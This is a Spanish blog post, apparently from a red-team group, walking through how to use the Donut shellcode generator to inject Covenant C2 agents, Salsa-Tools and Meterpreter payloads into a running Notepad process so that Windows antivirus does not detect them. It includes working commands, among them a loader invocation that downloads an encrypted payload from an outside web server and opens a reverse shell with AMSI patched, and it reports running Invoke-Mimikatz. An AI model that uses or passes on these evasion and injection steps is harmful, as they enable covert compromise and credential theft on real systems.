Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (2 de 2)

En el post anterior de esta serie vimos el funcionamiento de los donuts. Ahora, en esta segunda entrada, vamos a ver qué podemos hacer con esta herramienta, es decir, nos centraremos en casos prácticos.

Primero cargaremos un stager de unos de los c2c de moda, Covenant, luego cargaremos un desarrollo propio de HackPlayers como es Salsa-Tools y por último veremos como cargar payloads de Metasploit sin que salte el antivirus.

Bien, en primer lugar, veamos cómo se instala Covenant.

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/9/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run


Con este pequeño script, podemos realizar la instalación. Le damos permisos de ejecución :

    • “chmod +x installl-covenant.sh”



Esperamos a que se realice la instalación de Covenant y, una vez finalice, nos levantará un servidor web. Ese servidor web lo usaremos para controlar los equipos que tengamos backdoorizados.



Parece que ya ha terminado la instalación y se nos ha levantado el servidor web. Accedemos al server y lo primero que nos encontramos es un registro.



Así que lo primero que hacemos, es registrarnos.



Una vez ya registrados, veremos una pantalla como esta.
Bien, ya lo tenemos funcionando. Lo primero que debemos hacer, como en todos los command and control, es poner un Listener, Listener al que se conectarán los equipos que estén bajo mi control. Así que picamos en “Listeners”.



Dentro de la opción “Listeners”, picamos en “Create”


En la siguiente pantalla veremos las opciones que tenemos para configurar el Listener. Nosotros vamos a crearlo rápidamente, tan sólo rellenando la opción de la dirección de conexión.



Parece que todo ha funcionado correctamente y ya tenemos creado nuestro “Listener”.







No vamos a entrar en el funcionamiento de Covenant al completo, pero lo que si haremos es ver cómo crear un “Agent” o “Grunt”.

Pinchamos en el menú de la izquierda, en “Launchers” y veremos una pantalla como la siguiente. Donde podremos elegir que tipo de launcher queremos. Los launchers, son el código que ejecutaremos para tener un “Agent” o “Grunt” de este command and control.




En este caso vamos a usar la opción de Binary , es decir un binario de .NET. Al ser un binario de .NET podemos cargarlo con Donut. Antes de cargarlo, probaremos si podemos cargarlo directamente o por el contrario saltarían los antivirus. ¿Qué pasará?



Pinchamos en la opción de Generate, y nos genera el Binario en Base64. Nos copiamos el Base64 y lo decodemos en nuestro Debian.

En un terminal de tu Linux:

echo (Todo el chorro del BASE64) | base64 -d > covenant.exe

Quedaría algo así:



En este punto, tendríamos que subir el binario a la máquina que evidentemente deberíamos tener comprometida. Como todo esto es en pruebas, me levantaré un server web y me descargaré el binario a mi Windows, a ver que es lo que ocurre.



Como pensaba, el antivirus en cuanto lo hemos descargado se ha quejado y evidentemente no nos ha entrado el “Grunt” ☹.

Bueno en este punto es donde vamos a usar el tema del donut.

Bien, para ello necesitamos dos cositas. Lo primero que necesitamos es tener el binario que nos creará el donut y por otro lado el cargador del donut.

Empecemos por el creador de donuts. Tenemos dos maneras, una desde Windows, descargándonos el binario desde aquí.

Aunque bien sabemos que muchos de ustedes no tocáis Windows ni con un láser… en Hackplayers hemos creado un pequeño script en Python3 para que podáis crear vuestros donuts sin tener que entrar en Windows. Esto lo hemos conseguido ya que @byt3bl33d3r sabe bien esto que os hemos comentado y creo una librería para Python3.
La documentación de la librería la tenéis aquí.

En este post crearemos los Donuts desde Linux. Sólo necesitáis descargar el script desde aquí.

    • Creador de Donuts

python3 -m pip install donut-shellcode
wget https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
chmod +x donut-maker.py




    • Cargador de Donuts.

El código original del cargador de donuts lo tenéis en este link.

Nosotros, lo que haremos será copiarnos el code del cargador del Donut y lo tunearemos un poco. Nos gusta siempre personalizar un poco siempre los proyectos jeje.

Así que ahora lo que haremos es abrir Visual Studio y crearnos un proyecto nuevo.



Pegamos el código del ShellcodeTest.



Como veis, lo que hacen es hardcodear en el código el payload en base64. Nosotros como vamos a probar varios casos, lo que haremos es modificar esas líneas para que nos lea el payload desde un archivo. Podríamos hacer que leyese el payload desde un recurso samba, o realizase una petición web y leyera el payload desde un archivo alojado en una web. Pero en este caso, haremos que lea el payload de un archivo local llamado payload.bin y ese archivo lo convierta en base64. Quedaría algo así:




Compilamos el binario y vamos a probar a ver que tal funciona el temita este de los donuts. Ya tenemos nuestro cargador.


Ahora necesitaríamos el “payload.bin” que es lo que buscará nuestro cargador de donuts. Bien, ahora sí, vamos a usar el script del que hablamos antes para crear el donut del Covenant.
Así que vamos de nuevo a nuestro Linux y a crear el donut.


Ahí tenemos nuestro creador de donuts y el binario que queremos “donutizar”. Lanzamos la ayuda del script “./donut-maker.py -h” y comprobamos que lo único que estamos obligados a meter es “file input”, es decir, el binario que queremos “donutizar”. Bien pues, entonces ejecutamos la siguiente línea.



Parece que ya tenemos todo lo necesario para probarlo.



Pues ahora lo que haremos será arrancar un proceso y posteriormente no inyectaremos en él.



Hemos creado el proceso Notepad.exe y hemos visto que el “PID” es el 8032. Ahora lo que haremos será ejecutar el “Donuts-Loader” y como parámetro le pasamos el “PID” en el que deseamos inyectarnos.



Si miramos en el Dashboard de Covenant. ¡¡¡ Ahí tenemos nuestro “Grunt” !!!


Parece que esta mierda rula!

Bueno, ahora vamos a ver cómo podríamos cargar Salsa-Tools. Salsa-Tools para quienes no lo conozcan es una herramienta que escribimos para dar algunas ideas de técnicas que podéis usar para evitar la detección



Tenemos estos cuatro archivos. Vamos a explicar un poco que es cada uno de ellos, no obstante, si queréis podéis leer toda la documentación en nuestro github.

    1. Donut-maker.py (Es el Python que nos “donutizará” el SalseoLoader.exe)
    2. Encrypterassembly.py (Es el Python que nos cifrará la EvilSalsa con RC4, con la contraseña que nosotros le pongamos.)
    3. EvilSalsa_x64.dll (Esto sería lo que es el payload que ejecutará)
    4. SalseoLoader_x64.exe (Esto es un cargador)

Conociendo ya que es cada fichero, vamos a plantear la estrategia:

    1. Cifraremos la EvilSalsa con RC4 con la contraseña que queramos.
    2. Donutizaremos el SalseoLoader con los argumentos necesarios.
    3. Ejecutaremos nuestro cargador de donuts.

    1. Cifrados de EvilSalsa.



Ya tenemos nuestro payload cifrado con RC4, el SalseoLoader es quien se encargará de leerlo y descifrarlo en memoria o eso es como normalmente lo hacíamos. En este caso en particular lo que haremos será “Donutizarlo”.

    2. Antes de crear el donut, os pegamos un patallazo de la ayuda del SalseoLoader.exe


Si quisiéramos ejecutarlo directamente, sería algo así:

    • SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
    • Esto nos devolvería una Shell reversa con AMSI parcheado.
Pero nosotros vamos crear un donut. Así que, lo que ejecutaríamos realmente seria esto:

./donut-maker.py -i SalseoLoader_x64.exe -p hackplayers, http://cabeshapower.com/salsacifrada.txt,reversetcp,192.168.1.235,1337


Ya tenemos hecho los dos pasos anteriores, así que ahora solo queda probar si esto funcionaría.
Al igual que antes tenemos estos archivos:


Arrancamos un Notepad y pillamos el pid en el que nos inyectaremos.




Ejecutamos nuestro cargador de Donuts y le indicamos que se inyecte en el proceso 13500 que es el proceso del Notepad.

En nuestro Linux vemos como recibimos una petición web que solicita el archivo “salsacrifrada.txt” y al instante nos entra una Shell en el puerto 1337. Tal y como habíamos planeado.

En la Shell ejecutamos esto:
    • $pid (Esto lo hacemos para que veáis que efectivamente estamos en ese proceso)
    • “Invoke-Mimikatz” (Esto lo ejecutamos para que veáis que tenemos bypaseado el Antivirus de Microsoft.)



Pues muy chulo esto de “Donuts” con “Salsa”… pero… ¿podríamos cargar payloads de metasploit con la misma efectividad?
Como diría “Goyo” (el cómico) no lo digo, lo hago.

Para realizar este proceso usaremos la siguiente estrategia.

    1. Crear el payload que queramos con msfvenom
    2. Cifraremos el payload de metasploit con encrypterassembly
    3. Crearemos un Donut de SalseoLoader cargando el payload de metasploit cifrado.
    4. Ejecutaremos nuestro cargador de Donuts.

¿Funcionará? Lo mejor es que lo probemos.

    1. Creando el payload de metasploit, nosotros usaremos Meterpreter.


  
   2. Ciframos con encrypterassembly.



    3. En este paso como anteriormente, creamos un Donut.


    4. Pues ya estaría el temita hecho, veamos a ver si rula.




Y siiiiiii tenemos la opción de cargar cualquier payload de metasploit, con to el arte del Salseo y DonuTizarlo xDDD. No podríamos tirar así toda la vida probando cosas. Pero creo que con esto podría ser suficiente. Espero que os haya gustado.

Contribución gracias a Luis Vacas

2 comentarios :